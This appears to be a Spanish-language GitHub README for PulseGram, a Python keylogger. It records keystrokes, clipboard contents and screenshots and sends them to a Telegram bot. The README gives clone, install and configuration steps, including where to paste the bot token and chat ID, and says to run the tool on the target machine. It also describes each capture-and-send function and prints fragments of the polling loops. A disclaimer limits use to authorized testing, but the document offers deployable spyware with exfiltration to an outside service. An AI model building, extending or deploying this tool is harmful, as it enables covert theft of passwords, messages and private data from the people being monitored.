
Keylogger basado en Python con integración de bot de Telegram para capturar pulsaciones de teclas, contenido del portapapeles y capturas de pantalla en entornos autorizados de pruebas de seguridad.
PulseGram es un keylogger integrado con un bot de Telegram. Es una herramienta de monitoreo que captura pulsaciones de teclas, contenido del portapapeles y capturas de pantalla, enviando toda la información a un bot de Telegram configurado. Está diseñado para su uso en simulaciones de adversarios y contextos de pruebas de seguridad.
⚠️ Advertencia: Este proyecto es solo con fines educativos y para pruebas de seguridad en entornos autorizados. El uso no autorizado de esta herramienta puede ser ilegal y está prohibido.
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
Author: Omar Salazar
Version: V.1.0
errors_log.txt para facilitar la depuración.
Clona el repositorio:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
Instala las dependencias: Asegúrate de tener Python 3 y pip instalados. Luego ejecuta:
pip install -r requirements.txt
Configura el token del bot de Telegram: Crea un bot en Telegram usando BotFather. Copia tu token y pégalo en el código en main.py donde se inicializa el bot.
Copia tu ChatID chat_id="131933xxxx" en keylogger.py
Ejecuta la herramienta en la máquina objetivo con:
python pulsegram.py
Este es el archivo principal de la herramienta, que inicializa el bot y lanza tareas asíncronas para capturar y enviar datos.
Bot(token="..."): Inicializa el bot de Telegram con tu token personal.
asyncio.gather(...): Lanza múltiples tareas para ejecutar el monitoreo del portapapeles, la captura de pantalla y el registro de pulsaciones.
log_error: En caso de errores, los registra en un archivo errors_log.txt.
Este módulo contiene funciones auxiliares que asisten la operación general de la herramienta.
log_error(): Registra cualquier error en errors_log.txt con un formato de fecha y hora.
get_clipboard_content(): Captura el contenido actual del portapapeles.
capture_screenshot(): Toma una captura de pantalla y la guarda temporalmente para enviarla al bot de Telegram.
Este módulo maneja el keylogging, el monitoreo del portapapeles y las capturas de pantalla.
capture_keystrokes(bot): Función asíncrona que captura las pulsaciones de teclas y envía la información al bot de Telegram.
send_keystrokes_to_telegram(bot): Esta función envía las pulsaciones acumuladas al bot.
capture_screenshots(bot): Captura periódicamente una imagen de la pantalla y la envía al bot.
log_clipboard(bot): Envía el contenido del portapapeles al bot.
Cambia el intervalo de tiempo de captura y envío de información.
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Change the key sending interval
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Change the screenshot capture interval
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Change the interval to check for clipboard changes
current_content = get_clipboard_content()
Este proyecto es solo con fines educativos y para pruebas de seguridad en tus propios entornos o con autorización expresa. El uso no autorizado de esta herramienta puede violar las leyes locales y las políticas de privacidad.
Las contribuciones son bienvenidas. Por favor, asegúrate de respetar el código de conducta al colaborar.
Este proyecto está licenciado bajo la Licencia MIT.